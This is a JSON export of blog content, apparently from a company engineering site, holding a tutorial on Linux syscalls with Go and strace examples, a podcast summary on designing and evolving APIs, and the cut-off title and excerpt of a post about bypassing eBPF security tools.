linux-kernel-labs.github.io:",[11539],{"start":5013,"end":1984,"type":744,"data":11540},{"link_type":453,"url":11541,"target":456},"https:\u002F\u002Flinux-kernel-labs.github.io\u002Frefs\u002Fheads\u002Fmaster\u002Flectures\u002Fintro.html#typical-operating-system-architecture",{"link_type":487},{"dimensions":11544,"alt":13,"copyright":13,"url":11545,"id":11546,"edit":11547},{"width":420,"height":7923},"\u002F_prismic-media\u002F28d8c3d877427259-uUHHJ-oXwObqhOzK_f906c0ca-3c5d-4323-a319-031fd3e.png","uUHHJ-oXwObqhOzK",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$64b0845e-ce7d-4347-879c-ae81eb087aca",{"variation":459,"version":460,"items":11555,"primary":11556,"id":11561,"slice_type":479,"slice_label":13},[],{"body":11557},[11558],{"type":396,"text":11559,"spans":11560,"direction":4053},"This diagram shows how user space processes rely on the kernel for access to hardware, and how they access it via a system call (or syscall) interface. However, the kernel itself has more to it than just a syscall API for low-level operations. As well as facilitating this interface with user-run processes, the kernel contains a process scheduler, networking stack, virtual file system, and device drivers for hardware support, to name just a few. ",[],"rich_text$12705b9a-06c6-4f08-81ff-34b0d10f45f1",{"variation":459,"version":481,"items":11563,"primary":11564,"id":11585,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":11565,"body":11566,"cta_label":13,"cta_link":11573,"aside_type":488,"aside_image":11574,"aside_video":11580,"aside_video_poster":11581,"aside_video_reduced_motion":11582,"aside_video_url":13,"aside_embed":11583,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":11584,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[11567],{"type":396,"text":11568,"spans":11569,"direction":4053},"The diagram above is a bit of an over-simplification, and the following diagram (again borrowed from linux-kernel-labs.github.io) shows a more complete picture:",[11570],{"start":5380,"end":1540,"type":744,"data":11571},{"link_type":453,"url":11572,"target":456},"https:\u002F\u002Flinux-kernel-labs.github.io\u002Frefs\u002Fheads\u002Fmaster\u002Flectures\u002Fintro.html#linux-kernel-architecture",{"link_type":487},{"dimensions":11575,"alt":13,"copyright":13,"url":11577,"id":11578,"edit":11579},{"width":3604,"height":11576},658,"\u002F_prismic-media\u002F84b3855d8d1600d6-vG4zt3IzQulTL_yN_004aaf98-6c65-4833-9694-a1ea143.png","vG4zt3IzQulTL_yN",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$2f903f06-6ea8-4d4e-8dc1-620400dc4e5b",{"variation":459,"version":460,"items":11587,"primary":11588,"id":11593,"slice_type":479,"slice_label":13},[],{"body":11589},[11590],{"type":396,"text":11591,"spans":11592},"The remainder of this blog post will cover user and kernel space in more detail, discuss the syscall interface, and provide practical code examples of syscalls in practice.",[],"rich_text$bd6416f2-9cd0-488c-9b69-6da9e69157ad",{"variation":459,"version":460,"items":11595,"primary":11596,"id":11615,"slice_type":479,"slice_label":13},[],{"body":11597},[11598,11601,11612],{"type":1097,"text":11599,"spans":11600,"direction":4053},"User space",[],{"type":396,"text":11602,"spans":11603,"direction":4053},"A user space process is executed by a user in the operating system, rather than being part of the operating system itself. It might also be executed by an init system (e.g. systemd), but it isn't part of the kernel. User space is the area of memory that non-kernel applications run in. User space processes literally run in the user space part of memory. A user space process runs in user mode, which is the non-privileged execution mode that the process' instructions are executed with. User mode processes have to switch to kernel mode when they want to consume services provided by the kernel (e.g. disk I\u002FO, network access). Switching to kernel mode involves triggering a syscall to be executed by the kernel. This mechanism is described in bit more detail below.",[11604,11607],{"start":1430,"end":2477,"type":744,"data":11605},{"link_type":453,"url":11606,"target":456},"http:\u002F\u002Fwww.linfo.org\u002Fuser_space.html",{"start":11608,"end":11609,"type":744,"data":11610},384,393,{"link_type":453,"url":11611,"target":456},"http:\u002F\u002Fwww.linfo.org\u002Fuser_mode.html",{"type":396,"text":11613,"spans":11614,"direction":4053},"User mode execution of user-run processes ensures that a user space process cannot access or modify memory managed by the kernel, and can't interfere with another process' execution. This is an important security control in ensuring that user-run processes cannot corrupt or interfere with the operating system.",[],"rich_text$0ce31eda-0e8e-431e-93cd-f3afac02b543",{"variation":459,"version":460,"items":11617,"primary":11618,"id":11632,"slice_type":479,"slice_label":13},[],{"body":11619},[11620,11623],{"type":1097,"text":11621,"spans":11622,"direction":4053},"Kernel space",[],{"type":396,"text":11624,"spans":11625,"direction":4053},"Kernel space is the area of system memory reserved for the kernel. It is where the kernel runs and executes kernel mode instructions.Kernel mode is the CPU execution mode of the kernel, which runs in a privileged, root-access mode. When a user space application requires the services provided by the kernel, it will signal the kernel to execute a syscall, and switch to kernel mode for the duration of the syscall execution.",[11626,11629],{"start":17,"end":1333,"type":744,"data":11627},{"link_type":453,"url":11628,"target":456},"http:\u002F\u002Fwww.linfo.org\u002Fkernel_space.html",{"start":2441,"end":1545,"type":744,"data":11630},{"link_type":453,"url":11631,"target":456},"http:\u002F\u002Fwww.linfo.org\u002Fkernel_mode.html","rich_text$5d6c8991-934d-4cd1-a042-b2d5d25e2fd7",{"variation":459,"version":460,"items":11634,"primary":11635,"id":11643,"slice_type":479,"slice_label":13},[],{"body":11636},[11637,11640],{"type":1097,"text":11638,"spans":11639,"direction":4053},"Boundary between user space and kernel space",[],{"type":396,"text":11641,"spans":11642,"direction":4053},"Special CPU instructions are used by user space processes to invoke syscalls on most modern CPU architectures. The user space process executes the CPU instruction when it wants to execute a syscall, which switches the process' execution from user mode to kernel mode. The syscall executes in kernel mode, before returning execution to the user space process.",[],"rich_text$c4844fc3-6666-413b-91fd-138062a68a62",{"variation":459,"version":460,"items":11645,"primary":11646,"id":11692,"slice_type":479,"slice_label":13},[],{"body":11647},[11648,11651,11657,11674,11685,11689],{"type":1097,"text":11649,"spans":11650,"direction":4053},"Syscalls",[],{"type":396,"text":11652,"spans":11653,"direction":4053},"Syscalls are functions in the kernel that provide services to a user space application. They are the API that the kernel exposes to user space programs, which allow a program to utilise the functionality the kernel offers. Examples include starting new processes, disk I\u002FO, and networking.",[11654],{"start":17,"end":4811,"type":744,"data":11655},{"link_type":453,"url":11656,"target":456},"http:\u002F\u002Fwww.linfo.org\u002Fsystem_call.html",{"type":396,"text":11658,"spans":11659,"direction":4053},"A full list of syscalls can be found by running man syscalls on a Linux system. All syscalls are accompanied by a detailed man page, all of which can be found in section 2. For example, the man page for the chdir syscall can be read by running man 2 chdir. The man pages for syscalls are a really useful primary source of documentation, so if you're not familiar with man try running man man and start exploring the syscall documentation.",[11660,11661,11662,11664,11666,11669,11672],{"start":3824,"end":2103,"type":780},{"start":7002,"end":1421,"type":780},{"start":2082,"end":11663,"type":780},212,{"start":11045,"end":11665,"type":780},255,{"start":11667,"end":11668,"type":780},260,264,{"start":11670,"end":11671,"type":780},368,372,{"start":11608,"end":11673,"type":780},391,{"type":396,"text":11675,"spans":11676,"direction":4053},"Many syscalls are accompanied by small Linux programs which wrap them. For example, the chdir syscall for changing working directory can be invoked directly by running chdir in a shell. Other syscalls are designed to be used in concert with each other. There are a variety of syscalls for socket-based networking (e.g. socket, bind, listen, and accept), which combined offer a suite of socket-based functions for user space programs to utilise.",[11677,11678,11679,11681,11683,11684],{"start":519,"end":5029,"type":780},{"start":1550,"end":2285,"type":780},{"start":11680,"end":2299,"type":780},319,{"start":2300,"end":11682,"type":780},331,{"start":1959,"end":9105,"type":780},{"start":10764,"end":6481,"type":780},{"type":396,"text":11686,"spans":11687,"direction":4053},"As mentioned above, syscalls are invoked via an interrupt or instruction executed by the user space process and the kernel mode execution. This system is normally wrapped by a library (e.g. glibc), which offers a slightly higher-level abstraction for programs in the form of functions that can be called. Furthermore, most programming languages come with much higher-level abstractions that allow you to deal with logical operations, rather than physical syscalls.",[11688],{"start":7002,"end":1425,"type":780},{"type":396,"text":11690,"spans":11691,"direction":4053},"Nonetheless, breaking down some simple operations in their syscall components can prove interesting. The remainder of this blog post will illustrate a couple of simple examples using Golang, and demonstrate how the syscalls themselves can be observed by a user.",[],"rich_text$bd613bb2-ea3f-4c3d-a7d3-11a2c0cafb30",{"variation":459,"version":460,"items":11694,"primary":11695,"id":11718,"slice_type":479,"slice_label":13},[],{"body":11696},[11697,11700,11703,11707,11711,11715],{"type":1097,"text":11698,"spans":11699,"direction":4053},"Example 1: using the file system",[],{"type":396,"text":11701,"spans":11702,"direction":4053},"Writing to a file is a simple operation in most programming languages, and it's also a simple operation using syscalls. Three syscalls are involved in writing to a file:",[],{"type":582,"text":11704,"spans":11705,"direction":4053},"open, which opens a file descriptor for use by the process.",[11706],{"start":17,"end":667,"type":780},{"type":582,"text":11708,"spans":11709,"direction":4053},"write, which allows the process to write bytes to the file descriptor.",[11710],{"start":17,"end":672,"type":780},{"type":582,"text":11712,"spans":11713,"direction":4053},"close, which closes the file descriptor.",[11714],{"start":17,"end":672,"type":780},{"type":396,"text":11716,"spans":11717,"direction":4053},"The use of these syscalls can be illustrated in the following Golang example:",[],"rich_text$7fb74aab-8140-4b21-8b10-6c890932004f",{"variation":459,"version":460,"items":11720,"primary":11721,"id":11726,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11722},[11723],{"type":563,"text":11724,"spans":11725},"package main\n\nimport (\n\t\"os\"\n\n\t\"golang.org\u002Fx\u002Fsys\u002Funix\"\n)\n\nfunc main() {\n\tfd, err := unix.Open(\"test.txt\", os.O_CREATE|os.O_WRONLY, 0600)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t_, err = unix.Write(fd, []byte(\"hello world\\n\"))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = unix.Close(fd)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}",[],"code_block$93fb8119-9daf-4dbf-b16a-f96dd432b753",{"variation":459,"version":460,"items":11728,"primary":11729,"id":11745,"slice_type":479,"slice_label":13},[],{"body":11730},[11731,11736,11741],{"type":396,"text":11732,"spans":11733},"This program opens a file called test.txt, writes the string hello world to it, and then closes the file descriptor. Normally these operations are abstracted by a higher-level API, but the use of these syscalls directly illustrates how writing to a file is a achieved at the user space\u002Fkernel space boundary.",[11734,11735],{"start":685,"end":580,"type":780},{"start":3242,"end":1729,"type":780},{"type":396,"text":11737,"spans":11738},"The use of the kernel by this program can be further illustrated using a diagnostic tool called strace. Syscalls can be observed directly using strace, either for a process you want to execute, or an already running process. It allows the syscalls used by a program to be observed directly, which can be very useful for understanding what operations the program is performing that rely on system resources.",[11739,11740],{"start":9702,"end":900,"type":780},{"start":1545,"end":1489,"type":780},{"type":396,"text":11742,"spans":11743},"If you compiled the example above and ran it with strace, you would see something like this:",[11744],{"start":476,"end":662,"type":780},"rich_text$6dde89b4-de1c-4b30-98c1-a4c5ee6ffdf7",{"variation":459,"version":460,"items":11747,"primary":11748,"id":11753,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11749},[11750],{"type":563,"text":11751,"spans":11752},"$ go build -o file-syscall-example main.go\n$ strace file-syscall-example\n...\nopenat(AT_FDCWD, \"test.txt\", O_WRONLY|O_CREAT, 0600) = 3\nwrite(3, \"hello world\\n\", 12)           = 12\nclose(3)                                = 0",[],"code_block$744e2c92-3664-45c8-b066-4155857bceb2",{"variation":459,"version":460,"items":11755,"primary":11756,"id":11774,"slice_type":479,"slice_label":13},[],{"body":11757},[11758,11771],{"type":396,"text":11759,"spans":11760},"In the strace output, the numbers following the equals sign indicate the returned values from the syscall itself. In this example openat() = 3 tells us that the opened file descriptor can be identified by 3, write() = 12 tells us that 12 bytes were written, and close() = 0 tells us that the operation was successful.",[11761,11762,11764,11767,11768,11769],{"start":1411,"end":1403,"type":780},{"start":11763,"end":1541,"type":780},130,{"start":11765,"end":11766,"type":780},205,206,{"start":2521,"end":3024,"type":780},{"start":2427,"end":6100,"type":780},{"start":4389,"end":11770,"type":780},273,{"type":396,"text":11772,"spans":11773},"This example demonstrates the use of the syscalls for file access from an external point of view, and the same technique could be used on any program to gain an insight into the way it interacts with the kernel.",[],"rich_text$e1a288a2-f748-460b-862b-7291e81b5410",{"variation":459,"version":460,"items":11776,"primary":11777,"id":11788,"slice_type":479,"slice_label":13},[],{"body":11778},[11779,11782,11785],{"type":1097,"text":11780,"spans":11781,"direction":4053},"Example 2: network communication",[],{"type":396,"text":11783,"spans":11784,"direction":4053},"The Linux kernel has a number of syscalls for socket-based communication, facilitating unix sockets, TCP sockets, UDP sockets, and a number of more exotic network protocols. These syscalls are all based around the use of a file descriptor for a socket, and (in the case of TCP) a file descriptor for a connection. These file descriptors can be used to read bytes into a buffer (or send data), and can also be closed when the socket is no longer needed.",[],{"type":396,"text":11786,"spans":11787,"direction":4053},"The Go example below illustrates all of these steps:",[],"rich_text$0774a4fd-7de8-4e06-bdd9-4f06b4fa9ead",{"variation":459,"version":460,"items":11790,"primary":11791,"id":11796,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11792},[11793],{"type":563,"text":11794,"spans":11795},"package main\n\nimport (\n\t\"fmt\"\n\n\t\"golang.org\u002Fx\u002Fsys\u002Funix\"\n)\n\nfunc main() {\n\t\u002F\u002F Create a socket.\n\tfd, err := unix.Socket(unix.AF_INET, unix.SOCK_STREAM, 0)\n\tif err != nil {\n\t\tfmt.Println(\"error calling SOCKET\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Bind the socket to an address.\n\terr = unix.Bind(fd, &unix.SockaddrInet4{\n\t\tPort: 8080,\n\t\tAddr: [4]byte{127, 0, 0, 1},\n\t})\n\tif err != nil {\n\t\tfmt.Println(\"error calling BIND\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Start listening to the socket.\n\terr = unix.Listen(fd, 0)\n\tif err != nil {\n\t\tfmt.Println(\"error calling LISTEN\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Accept TCP connections on the socket.\n\tconnectionFd, _, err := unix.Accept(fd)\n\tif err != nil {\n\t\tfmt.Println(\"error calling ACCEPT\")\n\t\tpanic(err)\n\t}\n\n\tbytes := make([]byte, 8)\n\toobBytes := make([]byte, 8)\n\t\u002F\u002F Read data from the connection.\n\t_, _, _, _, err = unix.Recvmsg(connectionFd, bytes, oobBytes, 0)\n\tif err != nil {\n\t\tfmt.Println(\"error calling READ\")\n\t\tpanic(err)\n\t}\n\n\tfmt.Printf(\"received bytes:\\n%v\\n\", string(bytes))\n\n\t\u002F\u002F Close the connection.\n\terr = unix.Close(connectionFd)\n\tif err != nil {\n\t\tfmt.Println(\"error calling CLOSE for the connection file descriptor\")\n\t\tpanic(err)\n\t}\n\n\t\u002F\u002F Close the socket.\n\terr = unix.Close(fd)\n\tif err != nil {\n\t\tfmt.Println(\"error calling CLOSE for the socket file descriptor\")\n\t\tpanic(err)\n\t}\n}",[],"code_block$fe5fd0f3-1985-4b7e-bffe-1351d7d48470",{"variation":459,"version":460,"items":11798,"primary":11799,"id":11805,"slice_type":479,"slice_label":13},[],{"body":11800},[11801],{"type":396,"text":11802,"spans":11803},"Once again, the use of syscalls by this program can be observed with strace:",[11804],{"start":687,"end":5023,"type":780},"rich_text$1beccadf-6792-418f-94ee-f0f77a57d2a7",{"variation":459,"version":460,"items":11807,"primary":11808,"id":11813,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":11809},[11810],{"type":563,"text":11811,"spans":11812},"$ go build -o socket-syscalls main.go\n$ strace socket-syscalls > syscalls.log &\n$ netcat localhost 8080\nhello world!\n$ cat syscalls.log\n...\nsocket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3\nbind(3, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr(\"127.0.0.1\")}, 16) = 0\nlisten(3, 0)                            = 0\naccept4(3, {sa_family=AF_INET, sin_port=htons(58868), sin_addr=inet_addr(\"127.0.0.1\")}, [112->16], 0) = 4\n...\nrecvmsg(4, {msg_name=0x400004e0e0, msg_namelen=112->0, msg_iov=[{iov_base=\"hello\\n\", iov_len=8}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 6\n...\nclose(4)                                = 0\nclose(3)                                = 0",[],"code_block$cfd409cf-63c7-4ba5-bd77-419e51bcbce7",{"variation":459,"version":460,"items":11815,"primary":11816,"id":11822,"slice_type":479,"slice_label":13},[],{"body":11817},[11818],{"type":396,"text":11819,"spans":11820},"This example is slightly more complicated than the file-writing example, because we need to open a TCP connection to the program and send data to it. netcat is a convenient tool to do this, and in this example we just send the text \"hello world\", and then close the connection with a keyboard interrupt.",[11821],{"start":1489,"end":8145,"type":780},"rich_text$b4ffa83d-9d20-4213-9f95-2bd17c07688c",{"variation":459,"version":460,"items":11824,"primary":11825,"id":11849,"slice_type":479,"slice_label":13},[],{"body":11826},[11827,11830,11833,11836,11839,11842,11846],{"type":1097,"text":11828,"spans":11829,"direction":4053},"Summary and conclusions",[],{"type":396,"text":11831,"spans":11832,"direction":4053},"I hope this blog post has demystified some of the workings of the Linux kernel, and the relationship it has with user-run programs. The top takeaways for me are:",[],{"type":1101,"text":11834,"spans":11835,"direction":4053},"The Linux kernel exposes services to programs via syscalls, which are functions which allow a program to interact with system resources.",[],{"type":1101,"text":11837,"spans":11838,"direction":4053},"Syscalls are executed in kernel space, as opposed to a program's regular instructions, which are executed in user space.",[],{"type":1101,"text":11840,"spans":11841,"direction":4053},"Syscalls themselves cover a wide range of functionality, include disk I\u002FO and networking.",[],{"type":1101,"text":11843,"spans":11844,"direction":4053},"The use of syscalls by an application can be observed directly using strace, which is a useful diagnostic tool.",[11845],{"start":687,"end":5023,"type":780},{"type":396,"text":11847,"spans":11848,"direction":4053},"Congratulations, you've earned your one hundred Linux experience points!",[],"rich_text$496f67bc-6722-40b6-9e6e-f1aa38d8cab2",{"id":11851,"uid":11852,"url":11853,"type":406,"href":11854,"tags":11855,"first_publication_date":11003,"last_publication_date":10809,"slugs":11856,"linked_documents":11858,"lang":386,"alternate_languages":11859,"data":11860},"alz1EREAACsAUWe0","podcast-evolving-apis","\u002Fresources\u002Fengineering-blog\u002Fpodcast-evolving-apis","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1EREAACsAUWe0%22%29+%5D%5D",[],[11857],"ep-33-.tech---designing-and-evolving-apis",[],[],{"title":11861,"excerpt":11862,"card_image":11863,"published_date":11868,"reading_time":672,"tag":427,"dek":11862,"featured_image":11869,"about_form3":11874,"client_about_heading":13,"client_about_body":11875,"author_name":1277,"author_title":1278,"author_photo":11876,"author_bio":11879,"author_linkedin":11882,"slices":11884,"meta_title":11861,"meta_description":11862},".tech Podcast - Designing and Evolving APIs","Arnaud Lauret aka. \"The API handyman\" is an OpenAPI Lead at Postman. He joins us to share his expertise on API design and maintenance, including tips for evolving APIs and how the OpenAPI specification can make the lives of API designers easier.",{"dimensions":11864,"alt":11861,"copyright":13,"url":11865,"id":11866,"edit":11867},{"width":420,"height":420},"\u002F_prismic-media\u002F0df5d3c79c413d64-DeMify0jzUOXZNNb_podcast-evolving-apis.png","DeMify0jzUOXZNNb",{"x":17,"y":17,"zoom":18,"background":19},"2022-06-20",{"dimensions":11870,"alt":13,"copyright":13,"url":11871,"id":11872,"edit":11873},{"width":1270,"height":2672},"\u002F_prismic-media\u002F3fcfc9525438cf92-jl5IISlX3o3TCpLS_75e9d139-1d5a-4b49-86c0-72d63d9.png","jl5IISlX3o3TCpLS",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":11877,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":11878},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[11880],{"type":396,"text":1287,"spans":11881},[],{"link_type":453,"key":11883,"url":1291,"target":456},"5db1edde-c889-4223-b7f1-54e9e235248b",[11885,11905,11926,11952,12005,12022],{"variation":459,"version":481,"items":11886,"primary":11887,"id":11904,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":11888,"body":11892,"cta_label":1304,"cta_link":11895,"aside_type":13,"aside_image":11898,"aside_video":11899,"aside_video_poster":11900,"aside_video_reduced_motion":11901,"aside_video_url":13,"aside_embed":11902,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":11903,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[11889],{"type":465,"text":11890,"spans":11891},"Ep 33 .tech - Designing and Evolving APIs",[],[11893],{"type":396,"text":1302,"spans":11894},[],{"link_type":453,"key":11896,"url":11897},"176582fe-a135-4326-9382-09c0f319ce78","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-33-tech-designing-and-evolving-apis-UC6w_iYT",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$85ea0320-a77a-4a0e-b572-65865b58327b",{"variation":459,"version":460,"items":11906,"primary":11907,"id":11925,"slice_type":479,"slice_label":13},[],{"body":11908},[11909],{"type":396,"text":11910,"spans":11911},"Arnaud Lauret is currently working on the Postman Open Technology team. The team educates engineers and organisations to take advantage of APIs. Arnaud shares his knowledge on his blog apihandyman.io and has also written the book \"The Design of Web APIs\".",[11912,11915,11918,11922],{"start":17,"end":1403,"type":744,"data":11913},{"link_type":453,"url":11914},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Farnaudlauret\u002F",{"start":773,"end":476,"type":744,"data":11916},{"link_type":453,"url":11917},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fpostman-platform\u002F",{"start":608,"end":11919,"type":744,"data":11920},199,{"link_type":453,"url":11921},"https:\u002F\u002Fapihandyman.io\u002F",{"start":7010,"end":11047,"type":744,"data":11923},{"link_type":453,"url":11924},"https:\u002F\u002Fwww.manning.com\u002Fbooks\u002Fthe-design-of-web-apis","rich_text$b52813f1-43f0-4116-9756-e0240f772e04",{"variation":459,"version":460,"items":11927,"primary":11928,"id":11951,"slice_type":479,"slice_label":13},[],{"body":11929},[11930,11933,11945,11948],{"type":465,"text":11931,"spans":11932},"What is an API?",[],{"type":396,"text":11934,"spans":11935},"Historically, APIs have been thought as remote interfaces that allow software to communicate over a local network or the Internet. Now, they are interfaces that allow to provide a service that others don't want to build from scratch. If you build something really well, you can turn it into an API for others to leverage. For example, Stripe or Twilio allow to build payments or communication simply.",[11936,11941,11944],{"start":11937,"end":11938,"type":744,"data":11939},335,341,{"link_type":453,"url":11940},"https:\u002F\u002Fstripe.com\u002Fdocs\u002Fapi",{"start":10764,"end":6481,"type":744,"data":11942},{"link_type":453,"url":11943},"https:\u002F\u002Fgithub.com\u002Fform3tech\u002Ftech-evangelist-team\u002Fblob\u002Fmaster\u002Fblogposts\u002F15-06-2022-ep33-podcast\u002Fwww.twilio.com\u002Fdocs\u002Fusage\u002Fapi",{"start":11609,"end":10036,"type":780},{"type":396,"text":11946,"spans":11947},"In order to be easy to use, APIs should be consistent, so that users don't have to change their integration often. The consistency of an API allows users to guess how it will work, without having to read the documentation. Arnaud is in favour of consistency and should always be the first choice of API designers.",[],{"type":396,"text":11949,"spans":11950},"However, sometimes design patterns simply don't fit the problem. It can be a tricky tradeoff to choose between providing a suboptimal solution that fits your design and a better solution that surprises users. Arnaud prefers to introduce a new pattern to fit the usecase, as opposed to forcing a pattern that doesn't really fit.",[],"rich_text$d6d7aa5b-e0a1-464e-adc4-5123e4d838b5",{"variation":459,"version":460,"items":11953,"primary":11954,"id":12004,"slice_type":479,"slice_label":13},[],{"body":11955},[11956,11959,11962,11966,11969,11972,11976,11979,11982,11986,11989,11992,11995,11998],{"type":465,"text":11957,"spans":11958},"Evolving APIs",[],{"type":396,"text":11960,"spans":11961},"APIs can become difficult to change if some poor design decisions are made in the very beginning. You need to prepare your APIs to accept change gracefully. Here are some things you can do:",[],{"type":396,"text":11963,"spans":11964},"Choose extensible data types.",[11965],{"start":17,"end":586,"type":477},{"type":1101,"text":11967,"spans":11968},"Prefer strings over booleans to represent statuses. This will allow you to change your workflows and add new statuses as required.",[],{"type":1101,"text":11970,"spans":11971},"Encapsulate data in objects, wrapping lists, atomics or responses. This will allow you to add metadata alongside anything you return without the need to make breaking changes.",[],{"type":396,"text":11973,"spans":11974},"Create workflows with independent usable steps.",[11975],{"start":17,"end":3824,"type":477},{"type":1101,"text":11977,"spans":11978},"Workflows typically map the users workflows. If a changes comes from the users, then the API will have to change the mapped process as well.",[],{"type":1101,"text":11980,"spans":11981},"Building workflows in reusable steps will allow others to use the workflow as well.",[],{"type":396,"text":11983,"spans":11984},"Keep things as simple as possible.",[11985],{"start":17,"end":1363,"type":477},{"type":396,"text":11987,"spans":11988},"If you do need to make a breaking change, Arnaud recommends a middle step. For example, if you have a status as a boolean, then you can add a new string field and deprecate the old status. If you do this in the beginning, then you will begin to get a better idea of the domain that your API is representing. Perhaps your API won't be as beautiful as you wish, but it will still deliver functionality to your users.",[],{"type":396,"text":11990,"spans":11991},"Then, when you introduce new features\u002Ffunctionality in your API, you can clean up your interfaces and let your consumers know how to adjust to match the new version.",[],{"type":396,"text":11993,"spans":11994},"However, you will have to provide multiple versions of your API as users migrate to the new functionality. To do that, you have two options:",[],{"type":1101,"text":11996,"spans":11997},"Duplicate your infrastructure with multiple implementations running side by side. This is not recommended as multiple backend services will have to handle the versions.",[],{"type":1101,"text":11999,"spans":12000},"Have a single implementation that will be able to expose the multiple contracts of your API versions. Older requests can be mapped to the new version internally and other services only need to handle one request. The Stripe API uses this transformation strategy in production. ",[12001],{"start":12002,"end":1431,"type":744,"data":12003},217,{"link_type":453,"url":11940},"rich_text$7408eb95-8565-4d4b-a932-8598d3a71c8e",{"variation":459,"version":460,"items":12006,"primary":12007,"id":12021,"slice_type":479,"slice_label":13},[],{"body":12008},[12009,12012,12018],{"type":465,"text":12010,"spans":12011},"GraphQL",[],{"type":396,"text":12013,"spans":12014},"Arnaud has mixed feelings regarding GraphQL, which was developed by Facebook to make API design easier. However, it does not prevent introducing breaking changes, even though it allows easier testing.",[12015],{"start":546,"end":6708,"type":744,"data":12016},{"link_type":453,"url":12017},"https:\u002F\u002Fgraphql.org\u002F",{"type":396,"text":12019,"spans":12020},"It solves some problems regarding performance, but you still have to design your APIs and models. You gain visibility on how your API is used, but you lose the ability to read the usage of it easily.",[],"rich_text$382029fc-4424-45b7-9ce2-b27ba756da55",{"variation":459,"version":460,"items":12023,"primary":12024,"id":12041,"slice_type":479,"slice_label":13},[],{"body":12025},[12026,12029,12035,12038],{"type":465,"text":12027,"spans":12028},"The OpenAPI specification",[],{"type":396,"text":12030,"spans":12031},"The OpenAPI specification is a machine readable, but human friendly format to describe REST web APIs taking advantage of the HTTP protocol.",[12032],{"start":667,"end":2118,"type":744,"data":12033},{"link_type":453,"url":12034},"https:\u002F\u002Fspec.openapis.org\u002Foas\u002Fv3.1.0",{"type":396,"text":12036,"spans":12037},"The specification, formerly known as the Swagger specification, was originally used to document APIs. Then, it was used in a design first approach to describe your API once you know what you want it to do. You can then use the specification to generate documentation, code, clients, mocks and tests, as well as configure API gateways. It can also validate that your API is satisfying your organisation's requirements.",[],{"type":396,"text":12039,"spans":12040},"There are many uses of the specification and we are just scratching the top of it! Make sure you take advantage of the OpenAPI ecosystem if you are designing your APIs.",[],"rich_text$d35603e0-dc1d-4dc0-bccd-13f032d2d459",{"id":12043,"uid":12044,"url":12045,"type":406,"href":12046,"tags":12047,"first_publication_date":11003,"last_publication_date":12048,"slugs":12049,"linked_documents":12051,"lang":386,"alternate_languages":12052,"data":12053},"alz1FBEAACsAUWfD","bypassing-ebpf-tools","\u002Fresources\u002Fengineering-blog\u002Fbypassing-ebpf-tools","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1FBEAACsAUWfD%22%29+%5D%5D",[],"2026-08-27T22:14:38+0000",[12050],"this-post-will-cover",[],[],{"title":12054,"excerpt":12055,"card_image":12056,"published_date":12061,"reading_time":4811,"tag":427,"dek":12055,"featured_image":12062,"about_form3":12063,"client_about_heading":13,"client_about_body":12064,"author_name":13,"author_title":13,"author_photo":12065,"author_bio":12066,"author_linkedin":12067,"slices":12068,"meta_title":12054,"meta_description":12055},"Bypassing eBPF-based Security Enforcement Tools","During penetration tests and red team engagements, eBPF-based security observability and runtime enforcement tools can make it difficult to use public offensive security tools and techniques, as they are more often detected and blocked. However, eBPF-based tools have limitations which allow adversaries to bypass their controls. In this blog post, I will introduce some of the limitations and bypass techniques.",{"dimensions":12057,"alt":12054,"copyright":13,"url":12058,"id":12059,"edit":12060},{"width":420,"height":420},"\u002F_prismic-media\u002F16440598ac43337d-QPuwYqIhGPjfPk3h_bypassing-ebpf-tools.png","QPuwYqIhGPjfPk3h",{"x":17,"y":17,"zoom":18,"background":19},"2022-06-06",{},[],[],{},[],{"link_type":487},[12069,12091,12105,12118,12133,12141,12150,12158,12167,12175,12185,12193,12201,12209,12220,12228,12243,12262,12270,12285,12293,12306,12314,12323,12331,12340,12348,12357,12365,12374,12382,12400,12408,12417,12425,12435,12443,12452,12460,12469,12477,12500,12508,12522,12530,12538,12546,12554,12562,12616,12624,12660,12668,12677,12685,12693,12701,12710,12728,12736,12744,12752,12762,12770,12782,12790,12798,12806,12815,12823,12831,12839,12847,12855],{"variation":459,"version":460,"items":12070,"primary":12071,"id":12090,"slice_type":479,"slice_label":13},[],{"body":12072},[12073,12075,12081,12084,12087],{"type":1097,"text":9114,"spans":12074,"direction":4053},[],{"type":582,"text":12076,"spans":12077,"direction":4053},"Tetragon: open-source eBPF-based security observability and runtime enforcement 